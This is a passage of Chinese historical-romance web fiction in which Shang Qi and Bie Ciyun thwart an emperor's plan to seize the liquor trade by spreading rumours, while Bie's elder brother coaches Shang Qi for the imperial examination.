只要围观的人证词对得上, 验不验伤没什么打紧。”京兆尹叹了口气, “来的路上我听说,这几个纨绔是为了争一个哥儿打起来的, 那哥儿呢?” “已经抓起来了,白县尉去审过, 说是和那哥儿关系不大, 打架的两方人平日里就有龃龉, 今日又饮了酒撞在一块, 才惹了这场祸事。” 要杜菽说, 那哥儿肯定是遭了无妄之灾,但死的是世家少爷, 要是世家没想起来这哥儿或许还能留条命,要是想起了,只当红颜祸水处理了,玉满楼背后的东家也不会说什么。 死了人, 总要有个交代。 “先将那哥儿带回衙门,这案子看样子还是得开堂,谁对谁错肯定掰扯不清楚,但两边都死了人,他们家里人绝计不会叫我们好过。” 长安城里每年总要死那么几个纨绔,大部分都是意外,少有像今日这样真拳头打死的。 死了人的世家恨不能叫动手都下去陪葬,但两边动手的人里,都不是小门小户,按律也判不了死罪,这事还要闹到陛下面前。 “大人还是给陛下上报吧,此事如何处理还是要看陛下意思。” 京兆尹摇着头叹了口气,前不久世家和陛下的官司都没出结果,这会儿让陛下给世家主持公道,怕是事与愿违。 “尽早收拾完,希望御史台那边没那么快收到消息。”不然弹劾的奏章可要堆满御案了。 杜菽不抱期望,就今晚各坊的动静,御史台那群老家伙不可能不注意到,只怕消息灵通的已经弄清楚究竟发生了何事,连夜写参本好等早朝的时候递给陛下。 也是他们万年县命苦,长安近来也没太平的时候。 等万年县的人从玉满楼离开,已经到早朝的时候,杜菽不知早朝会是怎样一场腥风血雨,毕竟天塌了还有京兆尹盯着。 回了万年县,他只管将金玉满堂闹事的几个纨绔背景和昨夜玉满楼出事的纨绔背景都调了出来。 仔细看,就能看出其中有姻亲关系,但在长安世家间也正常,少有能寻出两家关系清白的。 可杜菽还是怀疑,这两件事必然有牵扯,只是一时没抓住关键的线索,只能干瞪眼。 “看似两件事没什么联系,但仔细一想都和酒有关系。”尚柒一早收到冯风送来的消息,人都精神了不少。 “东家,这话是什么意思?”冯风是尚柒亲自挑选的人手,本事不小,人自然也聪明,但有时候还是跟不上东家的思路。 “青麦酒,有人盯上了这门生意。”如果尚柒猜的不错,之后长安城里还会闹出几桩借酒撒疯的事,或许还会死几个世家子弟。 “这不是别公子的生意吗?”冯风没少替东家和书墨打交道,这点消息还是清楚。 “不管是谁的生意,有人盯上了这门生意,要不了多久酒水就会成为官营。”而盯上青麦酒生意的,不必说只能是广运帝。 “这,若酒水官营,别公子那边……” “要么交出青麦酒的配方,要么交保护费。”尚柒说着敲了敲桌面,只是交保护费也就罢了,眼下他和此云还不能和广运帝正面交锋,若是广运帝贪心不足,想要青麦酒的配方,必会彻查此云的身份。 金玉满堂的祸事,说明广运帝已经查出谢琅在和此云合作,但谢琅一方不曾见过此云,想要顺藤摸瓜有几分难度。 真要是让广运帝查到此云的身份,他就不得不放弃之前的打算,立刻和此云逃回西南。 这是万不得已的下策,最好的办法自然是阻止广运帝打青麦酒的主意。 别府。 一早收到平康坊的消息,别此云总觉得神色难安,像是有什么大事要发生。 直到晌午,琴砚匆匆送了封信过来,彻底坐实了别此云不是胡思乱想。 其实尚柒的说法并未有实证,许是想多了也有可能,但别此云不敢冒险,广运帝如果真的盯上了他,他在长安郊外的庄园估计已经埋伏了人手。 “公子?”琴砚少见公子如此慌张,连握信的手都有几分颤抖。 “没事,近来叫府里的人都不要出门,书墨那边传信也要想办法过几道手,外宅也不能再去了。”他办事的确谨慎,又有谢琅为他做遮掩,尾巴都扫的很干净。 广运帝应该是临时起意,不然早该查到他的身份,这会广运帝没有行动反而是好消息。 “是。” “去暮云堂,让嫂子下帖请尚柒过来。”他暂时也不能出门,但不管他愿不愿意出门,广运帝盯上了青麦酒他也没有反抗之力,除非现在他就揭竿而起。 别此云做了几个深呼吸,先让自己冷静下来,酒水官营的事还没下旨,一切都还有转圜的余地,虽说青麦酒赚钱,但他一家才能生产多少,大历主要的酒水生意还是世家在做,若广运帝真要动酒水,各世家肯定不乐意。 最好的办法就是让广运帝和世家再次攀咬起来,好给他时间转移产业。 这头别此云心急如焚,那头张青浣得了梧桐苑的消息,只思索了片刻,就以别景季的名义下了请帖。 还吩咐了下面的人,尚大夫过来直接去梧桐苑就是,今日苏怡然陪着老太君出门礼佛去了,一整日都不会在家。 尚柒得了帖子,匆匆从常乐坊赶来,到了梧桐苑,就见在院子踱步的别此云。 “我来了,别急。”尚柒温和的语气不急不躁,在炎热的天气像是一股清风驱散了别此云周身的燥意。 “我们书房说话。”别此云直接拉了尚柒的胳膊就去了书房。 琴砚早早在书房置了冰盆,打外面进来,一股凉意扑面袭来,正好降降火气。 “气急攻心,你本就身体不好,天气又炎热,很容易晕过去。”尚柒宽慰人坐下,又取过桌上的茶壶,倒了两杯冷茶。 茶叶是尚柒送的,都是好茶,适合静心。 “迫在眉睫,我想冷静但很难冷静。”别此云担心的不是青麦酒,他手里还有其他酿酒的方子,这些年酿出青麦酒后,他也在不断试验新方子,只是到底他不能露面,不好过于高调,才只经营青麦酒。 广运帝真的拿走青麦酒,他顶多心痛一阵,可他身份要是暴露在广运帝眼皮子底下,事情就复杂了。 “有我在,最差不过是我们当即逃出长安。”尚柒将茶水递过去。 “广运帝要是知道我的身份,我就逃不了了。”或许会赐婚给哪位皇子,当做给皇子登基添砖加瓦的筹码,也或许会让他入后宫,广运帝绝对不会轻易放过他。 “他不知道,之后你所有与青麦酒相关的产业都由我接手,若他真的要查,只会查到我头上。”尚柒当然知道别此云的软肋就是婚事,这人抗拒成亲这么久,真要是被圣旨突然赐婚,肯定会铤而走险。 但无论是刺杀广运帝还是皇子,都没有好结果,他们好不容易才在这异乡寻到对方,他绝对不会允许别此云出事。 “不成,你要是接手,被查出来,那些我威胁过的世家必不会放过你。”他藏的这么严实就是因为盯着他的人太多了,尚柒若为他出头,广运帝或许不会拿他怎么样,但长安城里其他世家可没那么心善。 “别怕,好歹我在长安也认识了不少人,没那么容易被杀死。”尚柒说着握住别此云的手,“眼下情况还没到最糟糕的时候,广运帝突然盯上青麦酒必然是临时起意,许是这次彻查各皇子和其他几个军营,发现青麦酒赚钱,就想占为己有,好为东征突厥做准备。” 别此云感受到尚柒温和的握住他颤抖手,彻底平静下来:“你说的对,事情还没到最糟糕的时候。 不管广运帝是想将天下酒水都收归己有,还是只盯上了青麦酒,我们都可以以此做文章,在世家间传扬开。” 借力打力,比他们势单力薄对付庞然大物要好。 “不错,这个办法极好。”世家和皇室真要闹起来,妥协的一定是广运帝。 “还有,如果我们能找到这次世家子弟的事并非简单斗殴的证据,而是指向广运帝,也能引起参与此事的世家对广运帝不满。” “嗯,继续。” “广运帝真的想要青麦酒充公,肯定还要继续制造几起因为引酒闹出的祸事,我们可以守株待兔,拿到广运帝动手的证据。” “你觉得广运帝还会挑选哪些地方?” “青麦酒供应的酒楼和妓院,我不知道金玉满堂还会不会有人闹事,但平康坊绝对不会平安无事。” “那我们就盯着平康坊,在将广运帝想要让酒水官营的消息散布出去。”尚柒笑着看向别此云,不想人竟然依势倒进他怀里,牢牢把他抱住。 “幸好有你在。”不然他不会这么快冷静下来。 尚柒不答,只回抱别此云,看来人真的被吓的不轻。 第49章 打别府出来, 尚柒马不停蹄的回到常乐坊,寻来冯风,叫人联系书墨, 之后此云所有生意暂时都由他接手。 至于散布消息, 原本是可以寻谢琅帮忙的, 但眼下谢琅必然也被广运帝的人手盯着, 叫谢琅办事很容易让谢琅陷入危机。 好在上次齐王的事,让尚柒察觉在长安没有一处自己散布消息的渠道,很容易受制于人,于是让冯风私下里接触长安城的乞丐,可见有时候未雨绸缪还是很有用。 “此事要做的隐蔽些, 最好是让乞丐们无意识听到酒楼客人谈论。”尚柒不怀疑广运帝的本事, 好歹也在长安浸淫数年, 又非是傀儡皇帝,手里总会有办事牢靠的手下。 他现在要做的就是扰乱视听, 广运帝能用的人手有限,不可能监视整个长安。 “是, 东家。”冯风办事麻利, 得了消息就一溜烟出府, 说起来跟了东家之后, 办的事一件比一件刺激。 这回更是要和万人之上的皇帝较量, 可不让冯风打起十二万分的精神,光东家吩咐的还不够, 消息一旦流传开,广运帝一定会狗急跳墙追查幕后之人。 他当然能够按东家说的不留痕迹,但广运帝一日追查不到真凶必然会疯狂嘶咬,东家这时候接手了所有别公子的产业, 难保不被广运帝盯上。 最好还是将散布消息的矛头指向各大世家,反正广运帝和世家的仇恨也不止这一桩,多一件少一件也不影响双方斗法。 很快,有关广运帝想要将酒水收为官营的消息在长安城炸开,原本因为五皇子和蔺家沉寂的世家不再装死了。 尤其主要以贩卖酒水赚钱的世家,酒水中的暴利外人不知情,世家确是知道的清楚,广运帝好端端的突然打起了酒水的生意,肯定和先前出兵的事有关。 不然广运帝突然虎口夺食,难道是老寿星上吊——嫌命长吗? 嚓——茶杯碎裂的声音响彻整个空旷的大殿,帝王一怒,总是要流血的。 “什么人走漏了消息?”他才起了心思,都还没来得及多做什么,事情就闹的沸沸扬扬,若不是他手下走漏消息,难不成还是他肚里的蛔虫跑出去告诉别人的吗? “陛下息怒,手下人办差,有一二不谨慎也正常,但要紧的是查出是谁走漏了消息,酒水官营的事已经闹的满长安人尽皆知,世家那边估计也上了心,若有人察觉平康坊的事和酒水官营有关,后果不堪设想。” “不堪设想,呵,难不成世家还要向朕这个做皇帝的报仇?”世家视百姓性命如草芥,广运帝又何尝不视天下人性命为草芥。 公公不说话,毕竟世家也没少私底下和陛下打的有来有回,这回死了的世家子弟中,正有家里受宠的,且家世不低,真要是把陛下抖落出来,或许这些世家不敢明面上做什么,私底下绝计不会太平。 可这话作为伺候的人不该说,不然正在气头上的皇帝是不会念多年情分,或打或杀全看运气。 “陛下有些着急了,眼下几位皇子封地还没查明,不若先把酒水的事放一放。” 广运帝闭眼,他何尝不知道自己着急了,但近些日后他已经越来越感觉自己力不从心,就算他镜子里的模样比一般五六十岁的老人年轻,但也不代表他真还如二三十岁时健壮。 他当皇帝也有二十来年,没有先祖的成绩,死之前他想做出点功绩留在史书上,不至于后人提起他一笔带过。 东征突厥拿回先前丢失的国土是最好证明他功绩的办法,朝中养边军多年,是该他们出力的时候。 “暂时按兵不动,继续盯着青麦酒,务必找出背后的东家是谁,还有尽快查出到底是谁散布的消息。”广运帝到底不是老糊涂,他可以趁着世家不注意以雷霆手段拿到酒水官营权,但这会世家个个忌惮,他再动作,难免投鼠忌器。 “是,陛下。” …… 日子一天一天过去,尚柒没有听到广运帝那头出什么新消息,甚至平康坊都风平浪静,就知道这步险棋走对了。 但还不到放松的时候,广运帝明显是怕世家反扑才暂时按兵不动,若他们真的安心,说不定哪一日毒蛇重新出洞,就会被致命一击。 而要说这几日也不是没有好消息,先前拜托安和公主求取科举资格的事已经办妥,公主府上的人亲自走了一趟。 拿到科考资格,最先要告诉的人自然是此云,这几日此云在别家闭门不出,虽有他的安慰之言,但也免不了担惊受怕,能有个好事冲淡惶恐的情绪,也能叫人夜里睡得安稳些。 只是没等尚柒亲自登门送消息,谢琅的请帖先一步送到尚府,不是请尚柒到金玉满堂赴宴,而是请尚柒去谢府看诊。 “听闻谢家在长安很有名,他们都请人来寻阿兄看诊,可见阿兄在长安也有神医之名了。”尚乌桕盯着请帖好一阵,抬起头时满眼替阿兄骄傲。 近来他在府里,感觉阿兄情绪很焦躁,以前在西南都不曾见阿兄这样,但阿兄不说,尚乌桕就晓得他帮不上忙,只能乖乖在府里不给阿兄惹麻烦。 “是不是看病还不好说。”尚柒盯着请帖好一阵,才收起来准备赴约。 先前谢琅曾说过,谢家能请他去看病的,只有一位长辈,害的还是相思病,早不请晚不请,偏在留言满布长安后请他,说不得这位聪明的谢家少爷也察觉了其中暗潮汹涌。 至于谢琅猜出多少,尚柒不好下判断,总归明日去谢府就知道了。 —————————— 谢府在永兴坊,距离常乐坊略远,尚柒赶早赴约。 到谢府后,尚柒由着人前面带路,走过七拐八拐的连廊,就到了谢琅的院子。 要不说谢家底蕴深厚,光看大小,都不输给公主府,按制臣子府邸不该超过皇家,但世家办超规格的事也不止一回两回了,更不说谢家地位高,就是府邸远超王爷府,广运帝不也敢怎么样。 “尚兄。”谢琅坐在院子的石凳上,见尚柒过来,挥了挥手。 “谢少爷今日请我上门看诊,病人呢?”尚柒打量了院子,不见有人伺候,甚至方才领路的小厮也不见踪影。 “远在天边近在眼前。”谢琅说着用折扇指了指自己。 “谢少爷面色红润,瞧着不像是病了。”尚柒既然入了谢府的虎口狼窝,也不惧做些出格的事,不等谢琅邀请,自己就坐在了谢琅对面。 “身体没病,自然是生了心病,尚兄不是说过心病还须心药医,我这不是向尚兄求药来了吗?”谢琅不在意尚柒的举动。 “什么心病?” “尚兄,咱们都是聪明人,何必要说的这么透,近来长安城闹的满城风雨的消息,该是尚兄你在背后做推手,我应该没猜错。”或许谢琅没办法通过金玉满堂和玉满楼的事想到皇帝要将酒水收为官营,但听过坊间传闻,再想不通,他岂非是蠢钝如猪了。 “谢少爷在说什么?陛下要收酒水官营,我一个毫无背景的商人如何得知?”谢琅算是尚柒在长安交的朋友,但涉及此云,他必须万分小心。 或许谢琅并没有什么恶意,可尚柒不敢赌。 “我知道你是在替有钱打掩护,要不是这次散布消息的人一点痕迹都没留,我也猜不到你们身上。”谢琅说着耸了耸肩,“你若不想承认也可以,毕竟我没有证据,但想来这件事上,我们应该是站在一边的。” 尚柒没回话,谢琅是否和他们站在一边对他们的计划并没有太大的影响。 “有钱的身份我早晚都会知道,不是吗?”只要尚柒成亲,有钱的身份昭然若揭。 “谢少爷请我过来,只是为了表明我们在一条船上?” “不全是,我还想问问你究竟从哪里看出陛下的心思?”尚柒聪明,谢琅不是不知道,但这人能在长安这等地方先所有人一步看透皇帝的想法,就有些聪明过头了。 “只是猜测,没有十足的把握。”真要说,尚柒连证据都没有,但这种事,宁可信其有不可信其无,哪怕概率不足百分之一,他也不能拿此云冒险。 “能猜到陛下的心思已经很了不起了,要我看,陛下定然还安排了人手在长安搜寻青麦酒背后的东家,有钱不能出面,你打算顶替有钱吗?” 尚柒点头,不管广运帝怎么想,之后此云都不能再出面。 “你从前没有来过长安,即便是陛下查到你头上,多半也不会信你。” “信不信无所谓。”哪怕之后他和此云成亲引起广运帝怀疑也无所谓,大不了交出青麦酒的方子,左右那时候此云已经嫁给他,广运帝明面上打不了此云的主意。 至于暗地里,尚柒总有办法挡住。 “看来此事你已胸有成竹,我便不多说什么,这次请你过来,除开先前说的事,我还想说一句,你与有钱都是我承认的朋友,真遇上事,有我能帮忙的地方尽管找我。” “不怕牵连谢家?”尚柒不意外谢琅会说这样的话,打他认识谢琅后,谢琅或多或少帮了他不少忙,他能看出谢琅是真心相待朋友。 “除非你们造反,不然我还真想不到什么事能牵连到我背后的谢家。” “看来谢十三你比我想象的本事要大。”尚柒露出微笑,心里却想谢琅这嘴真是开了光。 “不及尚柒你的本事大,日后再发现什么有趣的事,记得通知我一声。”世家出身,真没几个诚心诚意忠于皇家,能够在皇帝眉心跳舞,也算是一桩趣事。 “会的。”只要你能够承受的住。 第50章 万年县。 平康坊的案子还没结案, 但向万年县施压的世家不知怎的忽然都哑了声。 “那日该让东大人将尸体都拉回来才对。”杜菽隐约察觉此事背后不简单,也许当日死的几个纨绔不是群殴不小心被打死的,而是另有隐情, 可惜尸体被各世家拉了回去, 再想要仵作检查几乎不可能。 “大人此言差矣, 死了人的世家纷纷闭口不谈, 只能是背后隐情过大,真要是将尸体拉回来,咱们仵作查出来有问题,你我不给出个交代,头上的乌纱帽哪保的住。”白县尉确是感觉劫后余生, 这事他们能不掺和最好。 “你说的也有道理, 只是这事不清不楚, 跟咱们无关也就罢了,要是牵连上咱们, 向谁喊救命都不知道。”长安城里最不缺稀里糊涂死的官员。 “大人这话说也说迟了,听闻这几家不日就要将人入土下葬, 咱们总不能去各世家祖地开棺验尸。”时下天又热, 几日功夫过去, 早就臭了, 要查也查不出个所以然。 “发冢开棺, 流放都是轻的,你家大人我还没活腻。”杜菽说着叹了口气, “狱里那几个纨绔怎么样了?” “病了,请了大夫过来,开了药,但还没见好。”提起金玉满堂送来的纨绔, 白县尉难免忧心忡忡,实在是柳叶两家没开口,他们也不能把人放走,偏这会子病了,若有个三长两短,柳叶两家是开心了,他们如何给几个纨绔家一个交代。 横竖官位都难保。 “大夫说了什么原因吗?”杜菽拧紧眉心,越发觉得这几个纨绔跟平康坊的案子脱不了关系。 “只说饮酒过度,伤了身子,再不好我都想请大人你托关系让宫里的太医走一趟。”人可不能死在牢里。 “太医轻易请不动,长安城不少名医,你挨个请来看看,实在不行就给几个纨绔家里透露点风声,叫他们请大夫到狱里看诊。” “只能如此了。” 万年县的风吹草动,很难瞒过别此云安插的耳目,光听闻金玉满堂闹事的纨绔病了,就知道这些醉酒的世家子弟必然被下了什么药。 “以我现在在长安的名声,说不准万年县的人会寻我过去看病。”想要探究明白,非尚柒亲自去把脉不可。 “不行,你不能和这件事扯上关系。”这些纨绔究竟是中了药,还是真撒酒疯已经没有探寻的必要,尚柒现在去勘脉发现什么,日后广运帝知道尚柒跟青麦酒有关系,难保不会多想。 “听你的,科举之后你打算怎么调遣我去西南任职。”既然拿到了资格,就可以考虑更远一些的事。 “西南是平王的封地,平王的私兵被我们吞吃,广运帝没拿到平王的把柄,对其余诸位皇子来说,不是好事。 之后他们必定会提高对平王的警惕,我归属别家,嫁给你,你自然也是太子一派,想必让太子调遣自己的人去西南监视平王不是难事。” “你父兄不会答应。”别家和太子关系亲近,真要调遣他去西南,必然要过问别家人的意思。 以苏怡然对此云的态度,绝计不会让自家哥儿千里迢迢去西南受苦。 “所以我们要拉拢兄长帮忙。”他当然知道这事没那么简单,但办法是人想出来的。 “你兄长知道你对他如此寄予厚望吗?”尚柒几乎要为别景季感慨了,不光要一手促成他和此云的婚事,还要把弟弟送到千里之外的西南。 “我兄长单纯,不会那么快想明白是我在背后操纵。”别此云露出笑容,看起来有点邪恶,但尚柒很欣赏。 “你打算怎么劝你兄长同意这事?” “让兄长知道我留在长安不安全就够了。”别此云干的胆大包天的事不止一桩,随便透露一点,例如青麦酒是他私底下的生意,他兄长必然会答应暂时让他离开长安。 “小心点分寸,别把大舅哥吓坏了。”尚柒开了个玩笑。 突然听尚柒改口称他兄长为大舅哥,别此云面色染了一丝红晕:“这话,你最好别叫旁人听到。” 不然准要贴一个轻浮的标签。 “我知道分寸,放心。”尚柒不是喜欢口上花花的人,也许是因为广运帝一番逆天操作,让他和此云的关系更亲近了些,才叫一向谨慎的尚柒也说些出格的话。 “你拿到资格,我会尽快告诉兄长,你且要小心了。”别此云低头饮茶,掩饰自己藏不住的笑意。 “我瞧你兄长不似严苛的人。”尚柒没有从别景季身上感受到班主任和教导主任的压迫。 “他待朋友自然和善,但待学生就不好说了。” 别景季年纪尚轻,还不够格给人做先生,但他自己就有两个孩子,平日开蒙也都是他和张青浣负责,对自家小儿态度都算严格,对外来的弟婿,肯定不会多和善。 “如此,此云可要私下救救我。”尚柒研究过大历的科举考题,真要考他认为还是有几分把握,但遇上别景季这样专业人士,还是有几分心虚。 “我是生意人,不曾饱读诗书,最多帮你研研墨。”别此云出身别家,书自然是没少读,但因为他不能参加科举,也不曾细心钻研过科举用书,如九经之类的书籍,不如地方志读起来有意思。 研磨,不知怎么的,尚柒听到这话脑海突然冒出一个词——红袖添香。 “怎么?尚东家看不上我研墨的手艺?”见尚柒突然不出声,别此云情绪微变,正要和人好好争辩他研墨的手艺不差,不料却对上尚柒望他的眼睛。 灼热而真挚。 好端端的,怎么突然这么看他? “能得此云亲自研墨,该是我三生有幸才对。”尚柒垂下目光,“只是别大少爷恐怕不乐意。” “他现在才不乐意,已经晚了。” “近来夜里休息的可还好?”尚柒调转话头,他们最近见面的机会不算多,总不好日日叫别景季给尚柒下帖。 “最初几日不大好,但听了你每日传进府的消息,便没那么担心了。”这话是实话,尚柒信里一向不会夸大其词安慰人,多还是实事求是之言,见尚柒将一切安排的井井有条,他自然就安心了。 “那就好,我原本还想着你若夜里睡不好,我给你开几剂安神的药。” “你不是说,我最好少喝药?” “休息不好对身体的影响不小,若日日睡不着,精神身体都撑不住,不如喝两幅安神药调理调理,失眠不也给开安眠药吗?” “你总有道理,但我不喜欢喝药。”即便药不苦,也不见的好喝。 “我可以试着做成药丸。” “就不能不吃药吗?” “只是一说,最好不要用到。”虽说人吃五谷生百病,谁也预料不到,但尚柒还是希望别此云没病没灾。 “谨遵尚大夫医嘱。” …… “当真?”别景季下值回来,就收到尚柒能参加科举的消息,当即坐不住。 “这有什么骗你的,听闻尚大夫是通过安和公主的路子拿到的资格。”张青浣毫不掩饰语气中对尚柒的赞赏。 “我知道尚大夫本事不浅,原本还以为尚大夫同意参加科举,由我这边给尚大夫想办法,不曾想他自己就办好了。” “这是好事,若事事都由咱们办好,如何能看见尚大夫是否真心喜欢此云,天下儿郎多负心薄幸之人,万一尚大夫只是借此云做跳板,我们一通忙活岂非助纣为虐。” “夫人说的对,但你我都见惯了各色的人,尚大夫真要是能逃过咱们的眼睛,说明此人城府已经不是你我能比得上的。” “正是如此,我才愿意和你一块帮着此云得偿心愿,幸而尚大夫没让人失望。” “仅仅只是资格,还不到放心的时候,我有意私下给尚大夫传授一些科举的心得,近来已经寻了不少吏部做事的友人,要了历年科举的试卷,余下几月时间,尚大夫需要专心钻研试题。” 别景季自从知道小弟对尚柒有意,平日见面也不免同尚柒谈论学问,他知道尚柒基础知识扎实,但还没见过尚柒的策论,不敢保证尚柒走进士科万无一失。 “此事不能借此云的手,读书论典都需要有良师益友才能进步,须得你亲自监督。”张青浣知道自家夫君才学,“不过请尚大夫日日来府里是不行的,这几月就幸苦夫君下值多去尚府走走,娘这边有我挡着。” “该是幸苦夫人才对。”别景季原本也是这个意思,只是日日晚归总是不好。 “不过份内之事,这些日子我也会在娘面前多提提尚大夫,总要叫尚大夫在娘跟前露个脸,不然等尚大夫上门提亲,娘都不知道尚大夫是谁就麻烦了。”婚事纵然有她和夫君支持,最终还是要爹娘同意。 父亲一惯对子女亲事不插手,都有娘安排,只要能过娘这一关,余下就没有什么麻烦了。 “此事夫人定就好。” “对了,你去尚府也叮嘱尚大夫一二,叫他藏住自己要参加科举的消息,听闻近来尚大夫看诊了不少世家的娘子郎君,要是她们听见风声,难保不撬墙角。” 并非是张青浣不信尚大夫品行,而是世家娘子郎君手段颇多,真要是盯上了尚大夫,尚大夫不见得能应付的过来。 “夫人想的周到,明日会面,我会叮嘱尚大夫的。”《 》 50-60 第51章 尚府。 “阿兄, 今日有人送了礼上门,阿姊不在,你得亲自去瞧瞧。” “有说是谁送的吗?”尚柒近来早出晚归, 府里能做主的只有乌桕一人, 但人情往来乌桕不喜欢, 尚柒便没叫人学。 “来人说是柳府送的, 感谢阿兄什么的。”尚乌桕早知道阿兄经常在外出手帮人,礼县帮阿兄做事的哥哥姐姐,不少就是阿兄捡回来的,有人送谢礼上门他都习以为常了。 “柳府?我知道了。”虽说那日他在金玉满堂帮人了一个小忙,但该感激的不应是谢十三吗?怎么送到尚府上了。 到了库房, 近来因为看诊的缘故, 不少吃了尚柒药的娘子郎君都送了东西过来, 原本空落落的库房都挤满了东西。 “东家,柳府送的礼都是上好的药材, 比一般谢礼要贵重。”管库房的也是尚柒从西南带过来的人手,可以信任。 “既然是谢礼, 没有不能收的, 这些药材年份都不错, 就不要放进库房, 送进我的药房。”尚柒既然做药材生意, 手里或多或少都攒了一些极品药材,不过都在西南放着, 长安的药房都是些寻常药材。 “诶。” 柳家突然向他示好,其中必有隐情,但瞧着人没有深交的意思,尚柒自然不会多过问, 只要日后不会暗地里使绊子,当个点头之交也是好的。 “尚大哥。”刚从库房走到前院,就见苏长屿顶着满头大汗跑过来。 “日头大,跑着这么快做什么?”尚柒露出不赞同的眼神,小孩子精力旺盛归旺盛,但也不代表他们不会生病。 “这不是有段时日没过来玩了嘛,就跑的急了些。”苏长屿说话间,身后的侍人总算是跟了上来,抽出怀中的汗巾给人擦汗。 “咱们两家一墙之隔,下次慢点走来房子也不会长腿跑了。” “嗯嗯,尚大哥,乌桕呢。” “在后院炮制药材,你自己去找他吧。”尚府的宅子也就那么大,苏长屿来的次数多了,早就混熟了,不必府里的人领着就能自己找到路。 “那尚大哥待会见。”苏长屿说着又一溜烟跑没了,半点不记得刚才尚柒说的话。 叫站在原地的尚柒看的直摇头:“夏日暑气重,或许我该炮制一批藿香正气丸备着。” 到了下午,下值的别景季直接让人赶马车去了尚府,说起来别景季还没去过尚府。 宣阳坊和常乐坊距离不远,都在东市附近,是长安有名的好地界,一般人家轻易是买不起此地的宅子。 不过想尚大夫在西南看诊一次都有千金,手里必然是不缺钱的,如今更是在长安置办了宅院,比起长安城中老大不小还吃家用的小子,已然胜过百倍。 到了尚府,别景季更是细细观察了一番,府邸不算小,隔壁住的苏大人也是他的同僚,虽然平日话没说上几句,但为人风评不差。 邻里往来不必担心,加上尚大夫年少怙恃双失,名下只一个妹妹和一个弟弟,此云嫁进来,不必担心受磋磨。 “别少爷,久等了。”尚柒方才收诊,就收到别景季过来的消息,连口凉茶都没来得及喝,匆忙赶了过来。 “你我关系已经这么亲近了,便是称呼我一声兄长也使得,何必如此生疏。”别景季是真心看重尚柒作为他的弟夫。 “别大哥。”尚柒改口的从善如流。 “那我也就仗着年长,称呼你尚柒了。”别景季不与人客套,“近来可有温书?” 尚柒点头,其实他一直都有在看书,因为平日娱乐活动不多,也没其他事可做,书虽枯燥,但看的多了也能生出几分乐趣。 “今日我拿了两套前些年的试题过来,你可以先尝试破题,让我摸摸你的底。”别景季从袖中取出吏部好友那里摘抄的试题,最重要自然是策论。 摸底考试,尚柒已经好久没遇到过了,不过别景季是为了他好,自然没有拒绝的道理。 科举考试给的时间很长,除非当真是草包,不然没有写不完的,今日摸底,用时虽不拘,却也不好太久。 尚柒仔细研读过题目后,就开始落笔草稿。 书读的多了也有一个好处,引经据典毫不费劲,虽说套用过多的前人之词,有卖弄的嫌疑,但花团锦簇的文章还是很受欢迎的。 毕竟当今天子又不是什么务实的皇帝,且到了这把年纪都喜欢听好话,若是能把人吹的天花乱坠,说不定还能得好名次。 但尚柒不太会拍马屁,加上眼下监考的是别景季,自然还是实事求是最好。 策论基本跟国策相关,仗着以后观前,大可以侃侃而谈,几乎不到半个时辰,一篇未经润色的策论就跃然纸上。 也是文言文费劲,又要言之有物,真要是用白话文,八百字的作文半个小时都是多的。 落成一稿,尚柒又开始攻破下一题,别景季在一旁悠然饮茶看书,得见尚柒写完一题,抽了宣纸出来,打算瞧一瞧尚柒的真本事。 谁料别景季越看眼神越亮,不是说尚柒文章写的有多好,遣词用句在文学世家的人来看,还欠缺火候,但文章所言,基本能直至要害,若不是知道尚柒的年纪,别景季几乎要以为文章是一位老练辛辣的文官所写。 看完全稿,别景季恨不能将文章送到他父亲和祖父跟前,别家一惯惜才,他父亲和祖父名下的学生,除开世家子弟,也有白丁出身的才子。 因为朝中有不少官员直接间接都和别家有传师授业的关系,别家才能以中等世家稳站长安,这也是为什么别家被陛下选中给太子助力。 别景季笃定,他若将文章带回家,祖父和父亲定会起惜才之心,尚柒年纪还轻,说是璞玉也不为过。 若能细心雕琢,未来一举登相,也不是不可能。 要是尚柒知道别景季现在的想法,大概只能报以微笑,因为他顶多能说纸上谈兵,没有实践,一切夸夸其谈都是空中楼阁。 这就是为什么不少文人雅士能作出千古文章,却不一定能当个好官的根本原因。 一直到坊门关闭前,尚柒勉强完成三稿,毛笔写字不比硬笔,虽只是三稿草稿,但也不能用龙飞凤舞的草书,总得让别景季看清他写的是什么,不然还能更快。 “今日暂且到这里,夜里我将这三稿细细看过,明日再教你如何改,余下几题你也可以趁睡前再看看,不必着急破题,时间还长。”别景季神清气爽的带着三稿文章离开。 忙活一整日的尚柒靠在木椅上,动了动手腕,比起练字时用手,今日写字的时间不算长,但脑力消耗的快,下次再破题得准备一点甜食。 “阿兄,厨房做好晚食了。”尚乌桕在书房门口探头探脑,白日他都听阿兄说有客人要招待,没成想招待这么久。 “嗯,我马上过去。”腹中的确饥饿,又正处于长身体的年纪,尚柒这会感觉自己能吃一整只烤全羊。 “阿兄,今日过来的客人是谁?我远远看着,有几分面熟。” “你自然面熟,来人是别公子的兄长。”别景季和此云模样要说多像也没有,但外人看过去必能看出两人是兄弟关系。 “别哥哥的兄长?他来寻阿兄是做什么?” “嗯?一点私事。”尚柒还没准备好告诉尚乌桕。 尚乌桕闻言嘀嘀咕咕说了什么,尚柒没听清,到了饭厅,尚南枝已经在饭桌上等他们。 见着阿姊,尚乌桕立刻跑过去,小声说了什么话,就见尚南枝神色莫名的看了眼尚柒。 “怎么?忙了一日都不饿。”尚柒动了筷子,桌上鸡鸭鱼肉应有尽有,看着多,但尚柒一个人就能消灭大半。 “当然饿,不过回来的路上吃了一碗酒酿圆子。”尚南枝虽然过过苦日子,但绝计不会让自己饿肚子,沿街回来的路上不少小贩卖小吃,每日买一样,一两个月都能不重样。 “长安的酒酿圆子好吃吗?”尚乌桕吃着桌上的,望着街上的,若不是已经闭坊,他都想缠着阿兄和阿姊出门尝尝。 “好吃,不比西南的差,你若想吃明日我回来给你带一碗。”尚南枝说着看向阿兄,“阿兄,你要么?” “嗯。”尚柒有些神游的回应,这是用脑过度后的后遗症。 两个小的却变了脸色,因为尚柒一惯不喜欢吃甜,阿兄肯定瞒着他们什么大事。 “怎么不说话了?”尚柒回过神,见两人直愣愣的盯着他看。 “没事。”尚南枝摇头,她比乌桕知道的多一点,晓得阿兄应该是在忙如何迎娶别哥哥的事,没有追问。 “路边摊吃也可以,但不要耽误了正餐,不然夜里肚子容易饿。”小孩嘴馋尚柒都明白,但该说的还是要说。 “阿兄,我好久都没出门了,明日我想和阿姊一块出去玩。” “可以,去了织坊不要乱跑,宣义坊治安不及常乐坊,就是要出去也要寻个大人跟着。” “没问题。”尚乌桕又不是不听话的小孩,长安城的危险也见识过了,肯定会小心。 